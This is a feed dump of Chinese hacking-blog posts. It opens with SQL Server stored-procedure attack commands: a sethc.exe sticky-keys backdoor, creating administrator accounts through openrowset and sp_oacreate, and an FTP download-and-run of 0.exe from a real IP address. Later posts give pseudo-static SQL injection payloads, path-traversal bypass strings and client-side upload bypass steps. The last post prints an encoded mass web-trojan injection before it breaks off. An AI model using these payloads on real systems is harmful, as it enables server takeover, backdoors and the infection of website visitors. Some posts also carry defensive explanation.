REG ADD <span style="color: #ff0000;">&quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe&quot;</span> <span style="color: #339933;">/</span>v debugger <span style="color: #339933;">/</span>t REG_sz <span style="color: #339933;">/</span>d <span style="color: #ff0000;">&quot;c:\windows\system32\cmd.exe&quot;</span> on <span style="color: #339933;">/</span>f
&nbsp;
建立用户<span style="color: #0000dd;">1</span><span style="color: #339933;">-</span>这里默认用户是Reconditeness密码<span style="color: #0000dd;">9527</span>可自行修改
select <span style="color: #339933;">*</span> from openrowset<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">'microsoft.jet.oledb.4.0'</span><span style="color: #339933;">,</span><span style="color: #ff0000;">';database=c:\winnt\system32\ias\ias.mdb'</span><span style="color: #339933;">,</span><span style="color: #ff0000;">'select shell(&quot;cmd.exe /c net1 user Reconditeness 9527 /ad &amp;amp;net localgroup administrators terks /ad&quot;)'</span><span style="color: #009900;">&#41;</span>
select <span style="color: #339933;">*</span> from openrowset<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">'microsoft.jet.oledb.4.0'</span><span style="color: #339933;">,</span><span style="color: #ff0000;">';database=c:\windows\system32\ias\ias.mdb'</span><span style="color: #339933;">,</span><span style="color: #ff0000;">'select shell(&quot;cmd.exe /c net1 user Reconditeness 9527 /ad &amp;amp;net localgroup administrators terks /ad&quot;)'</span><span style="color: #009900;">&#41;</span>
&nbsp;
win2K直接上PS马
exec master..<span style="color: #202020;">xp_regwrite</span> <span style="color: #ff0000;">'HKEY_LOCAL_MACHINE'</span><span style="color: #339933;">,</span><span style="color: #ff0000;">'SOFTWARE\Microsoft\Jet<span style="color: #006699; font-weight: bold;">\4</span>.0\Engines'</span><span style="color: #339933;">,</span><span style="color: #ff0000;">'SandBoxMode'</span><span style="color: #339933;">,</span><span style="color: #ff0000;">'REG_DWORD'</span><span style="color: #339933;">,</span><span style="color: #0000dd;">1</span>
select <span style="color: #339933;">*</span> from openrowset<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">'microsoft.jet.oledb.4.0'</span><span style="color: #339933;">,</span><span style="color: #ff0000;">';database=c:\winnt\system32\ias\ias.mdb'</span><span style="color: #339933;">,</span><span style="color: #ff0000;">'select shell(&quot;cmd.exe /c @echo open 60.190.176.85&amp;gt;&amp;gt;net.txt&amp;amp;@echo reconditeness&amp;gt;&amp;gt;net.txt&amp;amp;@echo 7259&amp;gt;&amp;gt;net.txt&amp;amp;@echo get 0.exe&amp;gt;&amp;gt;net.txt&amp;amp;@echo bye&amp;gt;&amp;gt;net.txt&amp;amp;@ftp -s:net.txt&amp;amp;del net.txt &amp;amp; 0.exe&quot;)'</span><span style="color: #009900;">&#41;</span>
&nbsp;
win03<span style="color: #339933;">-</span>XP直接上PS马
exec master..<span style="color: #202020;">xp_regwrite</span> <span style="color: #ff0000;">'HKEY_LOCAL_MACHINE'</span><span style="color: #339933;">,</span><span style="color: #ff0000;">'SOFTWARE\Microsoft\Jet<span style="color: #006699; font-weight: bold;">\4</span>.0\Engines'</span><span style="color: #339933;">,</span><span style="color: #ff0000;">'SandBoxMode'</span><span style="color: #339933;">,</span><span style="color: #ff0000;">'REG_DWORD'</span><span style="color: #339933;">,</span><span style="color: #0000dd;">1</span>
select <span style="color: #339933;">*</span> from openrowset<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">'microsoft.jet.oledb.4.0'</span><span style="color: #339933;">,</span><span style="color: #ff0000;">';database=c:\windows\system32\ias\ias.mdb'</span><span style="color: #339933;">,</span><span style="color: #ff0000;">'select shell(&quot;cmd.exe /c @echo open 60.190.176.85&amp;gt;&amp;gt;net.txt&amp;amp;@echo reconditeness&amp;gt;&amp;gt;net.txt&amp;amp;@echo 7259&amp;gt;&amp;gt;net.txt&amp;amp;@echo get 0.exe&amp;gt;&amp;gt;net.txt&amp;amp;@echo bye&amp;gt;&amp;gt;net.txt&amp;amp;@ftp -s:net.txt&amp;amp;del net.txt &amp;amp; 0.exe&quot;)'</span><span style="color: #009900;">&#41;</span>
&nbsp;
.终极方法.
如果以上方法均不可恢复<span style="color: #339933;">,</span>请尝试用下面的办法直接添加帐户<span style="color: #339933;">:</span>
查询分离器连接后<span style="color: #339933;">,</span>
2000servser系统<span style="color: #339933;">:</span>
declare @shell <span style="color: #993333;">int</span> exec sp_oacreate <span style="color: #ff0000;">'wscript.shell'</span><span style="color: #339933;">,</span>@shell output exec sp_oamethod @shell<span style="color: #339933;">,</span><span style="color: #ff0000;">'run'</span><span style="color: #339933;">,</span><span style="color: #000000; font-weight: bold;">null</span><span style="color: #339933;">,</span><span style="color: #ff0000;">'c:\winnt\system32\cmd.exe /c net user dell huxifeng007 /add'</span>
&nbsp;
declare @shell <span style="color: #993333;">int</span> exec sp_oacreate <span style="color: #ff0000;">'wscript.shell'</span><span style="color: #339933;">,</span>@shell output exec sp_oamethod @shell<span style="color: #339933;">,</span><span style="color: #ff0000;">'run'</span><span style="color: #339933;">,</span><span style="color: #000000; font-weight: bold;">null</span><span style="color: #339933;">,</span><span style="color: #ff0000;">'c:\winnt\system32\cmd.exe /c net localgroup administrators dell /add'</span>
&nbsp;
xp或2003server系统<span style="color: #339933;">:</span>
&nbsp;
declare @shell <span style="color: #993333;">int</span> exec sp_oacreate <span style="color: #ff0000;">'wscript.shell'</span><span style="color: #339933;">,</span>@shell output exec sp_oamethod @shell<span style="color: #339933;">,</span><span style="color: #ff0000;">'run'</span><span style="color: #339933;">,</span><span style="color: #000000; font-weight: bold;">null</span><span style="color: #339933;">,</span><span style="color: #ff0000;">'c:\windows\system32\cmd.exe /c net user dell huxifeng007 /add'</span>
&nbsp;
declare @shell <span style="color: #993333;">int</span> exec sp_oacreate <span style="color: #ff0000;">'wscript.shell'</span><span style="color: #339933;">,</span>@shell output exec sp_oamethod @shell<span style="color: #339933;">,</span><span style="color: #ff0000;">'run'</span><span style="color: #339933;">,</span><span style="color: #000000; font-weight: bold;">null</span><span style="color: #339933;">,</span><span style="color: #ff0000;">'c:\windows\system32\cmd.exe /c net localgroup administrators dell /add'</span></pre></td></tr></table></div>

]]></content:encoded>
			<wfw:commentRss>http://www.nuanyue.com/sql%e9%ab%98%e7%ba%a7%e6%b3%a8%e5%85%a5%e4%bd%bf%e7%94%a8%e4%b9%8b%e5%82%a8%e5%ad%98%e8%bf%87%e7%a8%8b.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>伪静态注入技术</title>
		<link>http://www.nuanyue.com/%e4%bc%aa%e9%9d%99%e6%80%81%e6%b3%a8%e5%85%a5%e6%8a%80%e6%9c%af.html</link>
		<comments>http://www.nuanyue.com/%e4%bc%aa%e9%9d%99%e6%80%81%e6%b3%a8%e5%85%a5%e6%8a%80%e6%9c%af.html#comments</comments>
		<pubDate>Mon, 07 Jun 2010 05:05:29 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Vulnerability order | 漏洞整理]]></category>
		<category><![CDATA[Oracle注入]]></category>
		<category><![CDATA[注入整理]]></category>

		<guid isPermaLink="false">http://www.nuanyue.com/?p=1314</guid>
		<description><![CDATA[<h3>文/似曾相识</h3>
<p>常规的伪静态页面如下：<a href="http://www.xxx.com/play/Diablo.html">http://www.XXX.com/play/Diablo.html</a>，在看到之前先要确定这个页面是静态还是伪静态，鉴别方法很多，也很简单这里就不说了。</p>
<p>例如关联的动态页面是game.php ，那么当用户访问后程序会自动转换成类似<a href="http://www.xxx.com/game.php?action=play&#38;name=Diablo">http://www.XXX.co[......]</a></p><p class='read-more'><a href='http://www.nuanyue.com/%e4%bc%aa%e9%9d%99%e6%80%81%e6%b3%a8%e5%85%a5%e6%8a%80%e6%9c%af.html' target='_blank'>全文阅读</a></p>]]></description>
			<content:encoded><![CDATA[<h3>文/似曾相识</h3>
<p>常规的伪静态页面如下：<a href="http://www.xxx.com/play/Diablo.html">http://www.XXX.com/play/Diablo.html</a>，在看到之前先要确定这个页面是静态还是伪静态，鉴别方法很多，也很简单这里就不说了。</p>
<p>例如关联的动态页面是game.php ，那么当用户访问后程序会自动转换成类似<a href="http://www.xxx.com/game.php?action=play&amp;name=Diablo">http://www.XXX.com/game.php?action=play&amp;name=Diablo</a> 的形式，当然这部分是PHP执行的所以在访问时看不到。</p>
<p>假如name=Diablo这个参数有注入点但是访问的是伪静态页面，那么注入的语句其实差不多，不过如果是MYSQL数据库是不能用注释符的,因为注释的斜杠会被当成目录访问，那么就会出现问题，所以这里的注入需要把语句补全。</p>
<p>注入点检测可以用：<a>http://www.XXX.com/play/Diablo&#8217;</a> and 1=&#8217;1.html与<a>http://www.XXX.com/play/Diablo&#8217;</a> and 1=&#8217;2.html来判断，联合查询我也试过，不过失败了。</p>
<p>我用的语句如下：<a>http://www.XXX.com/play/diablo&#8217;</a> and 1=2 union select 1,2&#8230; from information_schema.columns where 1=&#8217;1.html，但是测试了N次都不能成功，有可能程序的SQL语句后面还有其他条件，具体原因没仔细看。</p>
<p>所以这个时候只能用盲注来检测，不过因为伪静态注入的URL比较特殊，一般的注入工具是利用不了的，所以就把刺猬写的COOKIES注入中转器的 get方式注入的代码修改了一下，只要把注入的参数写成Diablo ，然后在提交的语句后面加上.html那么就可以直接放到穿山甲里注入了。</p>
<p>注入的速度就看中转的速度了，感觉用低版本的穿山甲效果更好，高版本有可能因为速度比较快所以在猜解字母的时候会导致部分内容检测不到。<br />
以上是我在伪静态注入时的一些方法，也许有些地方写的不正确还请各位大牛指出，我不会写程序，最多只能修改代码，所以如果有大牛可以写一款伪静态注入的工具那么感激不尽！</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nuanyue.com/%e4%bc%aa%e9%9d%99%e6%80%81%e6%b3%a8%e5%85%a5%e6%8a%80%e6%9c%af.html/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>浅析路径遍历漏洞</title>
		<link>http://www.nuanyue.com/%e6%b5%85%e6%9e%90%e8%b7%af%e5%be%84%e9%81%8d%e5%8e%86%e6%bc%8f%e6%b4%9e.html</link>
		<comments>http://www.nuanyue.com/%e6%b5%85%e6%9e%90%e8%b7%af%e5%be%84%e9%81%8d%e5%8e%86%e6%bc%8f%e6%b4%9e.html#comments</comments>
		<pubDate>Sat, 29 May 2010 15:47:21 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Original article | 原创文章]]></category>
		<category><![CDATA[discuz漏洞]]></category>
		<category><![CDATA[本地验证;上传]]></category>
		<category><![CDATA[跨站漏洞]]></category>
		<category><![CDATA[路径遍历]]></category>

		<guid isPermaLink="false">http://www.nuanyue.com/?p=1292</guid>
		<description><![CDATA[<h3>文/饭<a href="http://www.nuanyue.com"></a></h3>
<p>许多的Web应用程序一般会有对服务器的文件读取查看的功能，大多会用到提交的参数来指明文件名，形如：<a href="http://www.nuanyue.com/getfile=image.jgp">http://www.nuanyue.com/getfile=image.jgp</a></p>
<p>当服务器处理传送过来的image.jpg文件名后，Web应用程序即会自动添加完整路径，形如“d://site/i[......]</p><p class='read-more'><a href='http://www.nuanyue.com/%e6%b5%85%e6%9e%90%e8%b7%af%e5%be%84%e9%81%8d%e5%8e%86%e6%bc%8f%e6%b4%9e.html' target='_blank'>全文阅读</a></p>]]></description>
			<content:encoded><![CDATA[<h3>文/饭<a href="http://www.nuanyue.com"></a></h3>
<p>许多的Web应用程序一般会有对服务器的文件读取查看的功能，大多会用到提交的参数来指明文件名，形如：<a href="http://www.nuanyue.com/getfile=image.jgp">http://www.nuanyue.com/getfile=image.jgp</a></p>
<p>当服务器处理传送过来的image.jpg文件名后，Web应用程序即会自动添加完整路径，形如“d://site/images/image.jpg”，将读取的内容返回给访问者。</p>
<p>初看，在只是文件交互的一种简单的过程，但是由于文件名可以任意更改而服务器支持“~/”，“/..”等特殊符号的目录回溯，从而使攻击者越权访问或者覆盖敏感数据，如网站的配置文件、系统的核心文件，这样的缺陷被命名为路径遍历漏洞。在检查一些常规的Web应用程序时，也常常有发现，只是相对隐蔽而已。</p>
<h4>发现路径遍历漏洞</h4>
<p>路径遍历漏洞的发现，主要是对Web应用程序的文件读取交互的功能块，进行检测，面对这样的读取方式：</p>
<p>“http://www.nuanyue.com/test/downfile.jsp?filename=fan.pdf”</p>
<p>我们可以使用 “../”来作试探，比如提交Url：“getfile=/fan/fan/*53.pdf”，而系统在解析是“d://site/test/pdf/fan/fan/../../*53.pdf”，通过“../”跳转目录“/fan”，即“d://site/test/pdf/*53.pdf”，返回了读取文件的正常的页面。</p>
<p>路径遍历漏洞隐藏一般在文件读取或者展示图片功能块这样的通过参数提交上来的文件名，从这可以看出来过滤交互数据是完全有必要的。恶意攻击者当然后会利用对文件的读取权限进行跨越目录访问，比如访问一些受控制的文件，“../../../../../../../etc/passwd“或者”../../../../boot.ini“，当然现在部分网站都有类似Waf的防护设备，只要在数据中会有/etc /boot.ini等文件名出直接进行拦截。</p>
<h4>遍历路径攻击变异</h4>
<p>路径遍历漏洞是很常见的，在Web应用程序编写过程，会有意识的对传递过来的参数进行过滤或者直接删除，存在风险的过滤方式，一般可以采用如下方式进行突破：</p>
<p>以下是一些绕过的方法，当然在实际运行过程中，可以组合使用。</p>
<p>(1) 加密参数传递的数据；在Web应用程序对文件名进行加密之后再提交，比如：“downfile.jsp?filename= ZmFuLnBkZg- “，在参数filename用的是Base64加密，而攻击者要想绕过，只需简单的将文件名加密后再附加提交即可。所以说，采用一些有规律或者轻易能识别的加密方式，也是存在风险的。</p>
<p>(2)  编码绕过，尝试使用不同的编码转换进行过滤性的绕过，比如Url编码，通过对参数进行Url编码提交，“downfile.jsp?filename= %66%61%6E%2E%70%64%66“来绕过。</p>
<p>(3)  目录限定绕过；在有些Web应用程序是通过限定目录权限来分离的。当然这样的方法不值得可取的，攻击者可以通过某些特殊的符号“~“来绕过。形如这样的提交“downfile.jsp?filename=~/../boot”。能过这样一个符号，就可以直接跳转到硬盘目录下了。</p>
<p>(4)  绕过文件后缀过滤；一些Web应用程序在读取文件前，会对提交的文件后缀进行检测，攻击者可以在文件名后放一个空字节的编码，来绕过这样的文件类型的检查。例如：../../../../boot.ini%00.jpg，Web应用程序使用的Api会允许字符串中包含空字符，当实际获取文件名时，则由系统的Api会直接截短，而解析为“../../../../boot.ini”。在类Unix的系统中也可以使用Url编码的换行符，例如：../../../etc/passwd%0a.jpg如果文件系统在获取含有换行符的文件名，会截短为文件名。也可以尝试%20，例如: ../../../index.jsp%20</p>
<p>(5)  绕过来路验证。在一些Web应用程序中，会有对提交参数的来路进行判断的方法，而绕过的方法可以尝试通过在网站留言或者交互的地方提交Url再点击或者直接修改Http Referer即可，这主要是原因Http Referer是由客户端浏览器发送的，服务器是无法控制的，而将此变量当作一个值得信任源是错误的。</p>
<h4>防范遍历路径漏洞</h4>
<p>在防范遍历路径漏洞的方法中，最有效的是权限的控制，谨慎的处理向文件系统API传递过来的参数路径。主要是因为大多数的目录或者文件权限均没有得到合理的配置，而Web应用程序对文件的读取大多依赖于系统本身的API，在参数传递的过程，如果没有得严谨的控制，则会出现越权现象的出现。在这种情况下，Web应用程序可以采取以下防御方法，最好是组合使用。</p>
<p>(1)  数据净化，对网站用户提交过来的文件名进行硬编码或者统一编码，对文件后缀进行白名单控制，对包含了恶意的符号或者空字节进行拒绝。</p>
<p>(2)  Web应用程序可以使用chrooted环境访问包含被访问文件的目录，或者使用绝对路径+参数来控制访问目录，使其即使是越权或者跨越目录也是在指定的目录下。</p>
<h4>总结</h4>
<p>路径遍历漏洞允许恶意攻击者突破Web应用程序的安全控制，直接访问攻击者想要的敏感数据 ，包括配置文件、日志、源代码等，配合其它漏洞的综合利用，攻击者可以轻易的获取更高的权限，并且这样的漏洞在发掘上也是很容易的，只要对Web应用程序的读写功能块直接手工检测，通过返回的页面内容来判断，是很直观的，利用起来也相对简单。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nuanyue.com/%e6%b5%85%e6%9e%90%e8%b7%af%e5%be%84%e9%81%8d%e5%8e%86%e6%bc%8f%e6%b4%9e.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>突破本地验证 继续上传</title>
		<link>http://www.nuanyue.com/%e7%aa%81%e7%a0%b4%e6%9c%ac%e5%9c%b0%e9%aa%8c%e8%af%81%e7%bb%a7%e7%bb%ad%e4%b8%8a%e4%bc%a0.html</link>
		<comments>http://www.nuanyue.com/%e7%aa%81%e7%a0%b4%e6%9c%ac%e5%9c%b0%e9%aa%8c%e8%af%81%e7%bb%a7%e7%bb%ad%e4%b8%8a%e4%bc%a0.html#comments</comments>
		<pubDate>Thu, 15 Apr 2010 14:28:25 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Original article | 原创文章]]></category>
		<category><![CDATA[本地验证;上传]]></category>

		<guid isPermaLink="false">http://www.nuanyue.com/?p=1270</guid>
		<description><![CDATA[<h3>文/饭<a href="http://www.nuanyue.com"></a></h3>
Web应用程序的编写，在满足其功能的同时却鲜有人关注其安全性，从市场上推出的各类Web应用防火墙不难理解，Web应用程序主要面临哪些安全威胁呢？如Sql注入、网页木马、表单绕过、跨站脚本、Xpath注入、口令爆力破解、客户端伪造请求 …等，而其漏洞根源在于开发者完全没有安全意识到而导致的。而本文将和大家讨论本地验证的缺陷，本地验证的最大的优点应该是减轻服务器端的计算负荷，而其带来的安全胁威却足以令服务器沦陷为肉机。
<h4>突破本地验证</h4>
本地验证的方法，一般是使用javaScript脚本简单验证，比如上传格式的验证，输入内容长度的验证，如果服务器端也不进行二次验证的话，易导致恶意攻击者只需在本地稍作修改就可以实现完全意义上的绕过。比如前些年比较流行的上传漏洞，其成因一般是因为对上传的文件类型或者扩展名过滤不严格造成的，导致可以直接或间接上传脚本木马，在检测一网站时，从扫描结果得到一上传网页，如图：
<p style="text-align: center;"><a style="text-decoration: none;" href="http://www.nuanyue.com/wp-content/uploads/2010/04/1.jpg"><img class="size-full wp-image-1273  aligncenter" title="1" src="http://www.nuanyue.com/wp-content/uploads/2010/04/1.jpg" alt="" width="540" height="194" /></a></p>
查看页面源代码时，发现判断上传后缀是使用运行在本地的JS代码。代码如下：
<pre lang="php"><script type="text/javascript"><!--mce:0--></script></pre>
提交表单的代码如下：
<pre lang="php"><form action="/photoimgAction.do?method=savePhotoimg" accept-charset="UNKNOWN" enctype="multipart/form-data" method="post">
</form></pre>
代码里“action”指的就是提交地址。针对上面简单的利用方法是：[......]<p class='read-more'><a href='http://www.nuanyue.com/%e7%aa%81%e7%a0%b4%e6%9c%ac%e5%9c%b0%e9%aa%8c%e8%af%81%e7%bb%a7%e7%bb%ad%e4%b8%8a%e4%bc%a0.html' target='_blank'>全文阅读</a></p>]]></description>
			<content:encoded><![CDATA[<h3>文/饭<a href="http://www.nuanyue.com"></a></h3>
<p>Web应用程序的编写，在满足其功能的同时却鲜有人关注其安全性，从市场上推出的各类Web应用防火墙不难理解，Web应用程序主要面临哪些安全威胁呢？如Sql注入、网页木马、表单绕过、跨站脚本、Xpath注入、口令爆力破解、客户端伪造请求 …等，而其漏洞根源在于开发者完全没有安全意识到而导致的。而本文将和大家讨论本地验证的缺陷，本地验证的最大的优点应该是减轻服务器端的计算负荷，而其带来的安全胁威却足以令服务器沦陷为肉机。</p>
<h4>突破本地验证</h4>
<p>本地验证的方法，一般是使用javaScript脚本简单验证，比如上传格式的验证，输入内容长度的验证，如果服务器端也不进行二次验证的话，易导致恶意攻击者只需在本地稍作修改就可以实现完全意义上的绕过。比如前些年比较流行的上传漏洞，其成因一般是因为对上传的文件类型或者扩展名过滤不严格造成的，导致可以直接或间接上传脚本木马，在检测一网站时，从扫描结果得到一上传网页，如图：</p>
<p style="text-align: center;"><a style="text-decoration: none;" href="http://www.nuanyue.com/wp-content/uploads/2010/04/1.jpg" rel="lightbox"><img class="size-full wp-image-1273  aligncenter" title="1" src="http://www.nuanyue.com/wp-content/uploads/2010/04/1.jpg" alt="" width="540" height="194" /></a></p>
<p>查看页面源代码时，发现判断上传后缀是使用运行在本地的JS代码。代码如下：</p>

<div class="wp_codebox"><table><tr id="p12703"><td class="code" id="p1270code3"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">&lt;</span>script type<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;text/javascript&quot;</span><span style="color: #339933;">&gt;&lt;!--</span>mce<span style="color: #339933;">:</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">--&gt;&lt;/</span>script<span style="color: #339933;">&gt;</span></pre></td></tr></table></div>

<p>提交表单的代码如下：</p>

<div class="wp_codebox"><table><tr id="p12704"><td class="code" id="p1270code4"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">&lt;</span>form action<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;/photoimgAction.do?method=savePhotoimg&quot;</span> accept<span style="color: #339933;">-</span>charset<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;UNKNOWN&quot;</span> enctype<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;multipart/form-data&quot;</span> method<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;post&quot;</span><span style="color: #339933;">&gt;</span>
<span style="color: #339933;">&lt;/</span>form<span style="color: #339933;">&gt;</span></pre></td></tr></table></div>

<p>代码里“action”指的就是提交地址。针对上面简单的利用方法是：<br />
只需要把上传页面保存到本地，扩展名必须是html或者是htm。再为提交地址补全路径，如上面的地址修改成</p>
<p>http://www.nuanyue.com/photoimgAction.do?method=savePhotoimg</p>
<p>即代码：</p>
<p style="text-align: center;"><a style="text-decoration: none;" href="http://www.nuanyue.com/wp-content/uploads/2010/04/2.jpg" rel="lightbox"><img class="size-full wp-image-1274  aligncenter" title="2" src="http://www.nuanyue.com/wp-content/uploads/2010/04/2.jpg" alt="" width="540" height="269" /></a></p>
<p>点击“保存”按钮就可以在没有文件名后缀限制能直接上传脚本了。<br />
当然这种方法仅仅是对上传页面后缀为htm或者html的利用。当遇上到动态页面或者有更多限制时，还可以用Firefox的Firebug的插件进行动态调试，如图：</p>
<p style="text-align: center;"><a href="http://www.nuanyue.com/wp-content/uploads/2010/04/3.jpg" rel="lightbox"><img class="size-full wp-image-1275  aligncenter" title="3" src="http://www.nuanyue.com/wp-content/uploads/2010/04/3.jpg" alt="" width="540" height="474" /></a></p>
<p>可以动态调试JavaScript,添加监控点、断点，进行实时修改过程参数。但这种方法在利用时，可能会有些麻烦多处添加断点。一种更简单的方法是使用Opera浏览器，先启动Opera浏览器访问上传页面，点击查看源代码，如图：</p>
<p style="text-align: center;"><a href="http://www.nuanyue.com/wp-content/uploads/2010/04/4.jpg" rel="lightbox"><img class="size-full wp-image-1276  aligncenter" title="4" src="http://www.nuanyue.com/wp-content/uploads/2010/04/4.jpg" alt="" width="540" height="385" /></a></p>
<p>修改”.gif”为”.jsp”,再点击左上角的应用，修改过的源代码就已经应用到当前浏览的页面，通过修改javascript的本地验证流程，实行绕过上传。如图：</p>
<p style="text-align: center;"><a href="http://www.nuanyue.com/wp-content/uploads/2010/04/5.jpg" rel="lightbox"><img class="size-full wp-image-1277  aligncenter" title="5" src="http://www.nuanyue.com/wp-content/uploads/2010/04/5.jpg" alt="" width="540" height="385" /></a></p>
<p>返回页面直接上传，如图：</p>
<p style="text-align: center;"><a href="http://www.nuanyue.com/wp-content/uploads/2010/04/6.jpg" rel="lightbox"><img class="size-full wp-image-1278  aligncenter" title="6" src="http://www.nuanyue.com/wp-content/uploads/2010/04/6.jpg" alt="" width="540" height="385" /></a></p>
<h4>结束</h4>
<p>许多Web程序编写者，都喜欢把一些验证放在客户端，比如上传的后缀格式验证，用户和密码的验证等直接往服务端传送，而在服务端完全没有验证而直接利用。从而导致恶意攻击者只要在本地稍作修改就可以直接绕过本地验证，而本质上这种验证形同虚设，毫无意义。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nuanyue.com/%e7%aa%81%e7%a0%b4%e6%9c%ac%e5%9c%b0%e9%aa%8c%e8%af%81%e7%bb%a7%e7%bb%ad%e4%b8%8a%e4%bc%a0.html/feed</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>清理数据库批量挂马</title>
		<link>http://www.nuanyue.com/%e6%b8%85%e7%90%86%e6%95%b0%e6%8d%ae%e5%ba%93%e6%89%b9%e9%87%8f%e6%8c%82%e9%a9%ac.html</link>
		<comments>http://www.nuanyue.com/%e6%b8%85%e7%90%86%e6%95%b0%e6%8d%ae%e5%ba%93%e6%89%b9%e9%87%8f%e6%8c%82%e9%a9%ac.html#comments</comments>
		<pubDate>Sat, 10 Apr 2010 14:48:45 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Original article | 原创文章]]></category>
		<category><![CDATA[注入整理]]></category>

		<guid isPermaLink="false">http://www.nuanyue.com/?p=1243</guid>
		<description><![CDATA[<h3>文/饭<a href="http://www.nuanyue.com"></a></h3>
<p><a href="http://www.nuanyue.com/wp-content/uploads/2010/04/2009-12-25-20-50-121.png"></a>数据库批量挂马，已经成为挂马的一种主要方式，网上也有许多不同的挂马代码被站长们公布，大多形不同而意同，还有变异的直接突破waf的,再现了挂与反挂之间的激烈较量。ZZZzzz&#8230;. 情绪稳定的分析注入语句如下：</p>

<div class="wp_codebox"><table><tr id="p12435"><td class="code" id="p1243code5"><pre class="sql" style="font-family:monospace;">dEcLaRe @s vArChAr<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">8000</span><span style="color: #66cc66;">&#41;</span> <span style="color: #993333; font-weight: bold;">sE[......]</span></pre></td></tr></table></div><p class='read-more'><a href='http://www.nuanyue.com/%e6%b8%85%e7%90%86%e6%95%b0%e6%8d%ae%e5%ba%93%e6%89%b9%e9%87%8f%e6%8c%82%e9%a9%ac.html' target='_blank'>全文阅读</a></p>]]></description>
			<content:encoded><![CDATA[<h3>文/饭<a href="http://www.nuanyue.com"></a></h3>
<p><a href="http://www.nuanyue.com/wp-content/uploads/2010/04/2009-12-25-20-50-121.png"></a>数据库批量挂马，已经成为挂马的一种主要方式，网上也有许多不同的挂马代码被站长们公布，大多形不同而意同，还有变异的直接突破waf的,再现了挂与反挂之间的激烈较量。ZZZzzz&#8230;. 情绪稳定的分析注入语句如下：</p>

<div class="wp_codebox"><table><tr id="p12439"><td class="code" id="p1243code9"><pre class="sql" style="font-family:monospace;">dEcLaRe @s vArChAr<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">8000</span><span style="color: #66cc66;">&#41;</span> <span style="color: #993333; font-weight: bold;">sEt</span> @s<span style="color: #66cc66;">=</span>
0x6445634c615265204074207641724368417228323535292c406320764172436841722832353529206445634c615265207441624c655f637572736f5220635572536f5220466f522073456c45635420612e6e416d452c622e6e416d452046724f6d207359734f624a6543745320612c735973436f4c754d6e53206220774865526520612e69443d622e694420416e4420612e78547950653d27752720416e442028622e78547950653d3939206f5220622e78547950653d3335206f5220622e78547950653d323331206f5220622e78547950653d31363729206f50654e207441624c655f637572736f52206645744368206e6578742046724f6d207441624c655f637572736f5220694e744f2040742c4063207768696c6528404066457443685f7374617475733d302920624567496e20657865632827557044615465205b272b40742b275d20734574205b272b40632b275d3d727472696d28636f6e7665727428764172436841722c5b272b40632b275d29292b27273c2f7469746c653e223e3c736372697074207372633d687474703a2f2f2536312532452537302537302536442536442536462536462532452536332536453e3c2f7363726970743e3c212d2d27272729206645744368206e6578742046724f6d207441624c655f637572736f5220694e744f2040742c406320654e6420634c6f5365207441624c655f637572736f52206445416c4c6f43615465207441624c655f637572736f52 eXeC<span style="color: #66cc66;">&#40;</span>@s<span style="color: #66cc66;">&#41;</span><span style="color: #808080; font-style: italic;">--</span></pre></td></tr></table></div>

<p>利用了动态执行，对上次这段代码进行十六进制转换整理如下：</p>

<div class="wp_codebox"><table><tr id="p124310"><td class="code" id="p1243code10"><pre class="sql" style="font-family:monospace;">dEcLaRe @t vArChAr<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">255</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">,</span>@c vArChAr<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">255</span><span style="color: #66cc66;">&#41;</span> –定义变量
&nbsp;
dEcLaRe tAbLe_cursoR cUrSoR –游标
&nbsp;
<span style="color: #993333; font-weight: bold;">FoR</span> <span style="color: #993333; font-weight: bold;">sElEcT</span> a<span style="color: #66cc66;">.</span>nAmE<span style="color: #66cc66;">,</span>b<span style="color: #66cc66;">.</span>nAmE <span style="color: #993333; font-weight: bold;">FrOm</span> sYsObJeCtS a<span style="color: #66cc66;">,</span>sYsCoLuMnS b <span style="color: #993333; font-weight: bold;">wHeRe</span> a<span style="color: #66cc66;">.</span>iD<span style="color: #66cc66;">=</span>b<span style="color: #66cc66;">.</span>iD <span style="color: #993333; font-weight: bold;">AnD</span> a<span style="color: #66cc66;">.</span>xTyPe<span style="color: #66cc66;">=</span><span style="color: #ff0000;">'u'</span> <span style="color: #993333; font-weight: bold;">AnD</span> <span style="color: #66cc66;">&#40;</span>b<span style="color: #66cc66;">.</span>xTyPe<span style="color: #66cc66;">=</span><span style="color: #cc66cc;">99</span> <span style="color: #993333; font-weight: bold;">oR</span> b<span style="color: #66cc66;">.</span>xTyPe<span style="color: #66cc66;">=</span><span style="color: #cc66cc;">35</span> <span style="color: #993333; font-weight: bold;">oR</span> b<span style="color: #66cc66;">.</span>xTyPe<span style="color: #66cc66;">=</span><span style="color: #cc66cc;">231</span> <span style="color: #993333; font-weight: bold;">oR</span> b<span style="color: #66cc66;">.</span>xTyPe<span style="color: #66cc66;">=</span><span style="color: #cc66cc;">167</span><span style="color: #66cc66;">&#41;</span> –遍历表和字段
&nbsp;
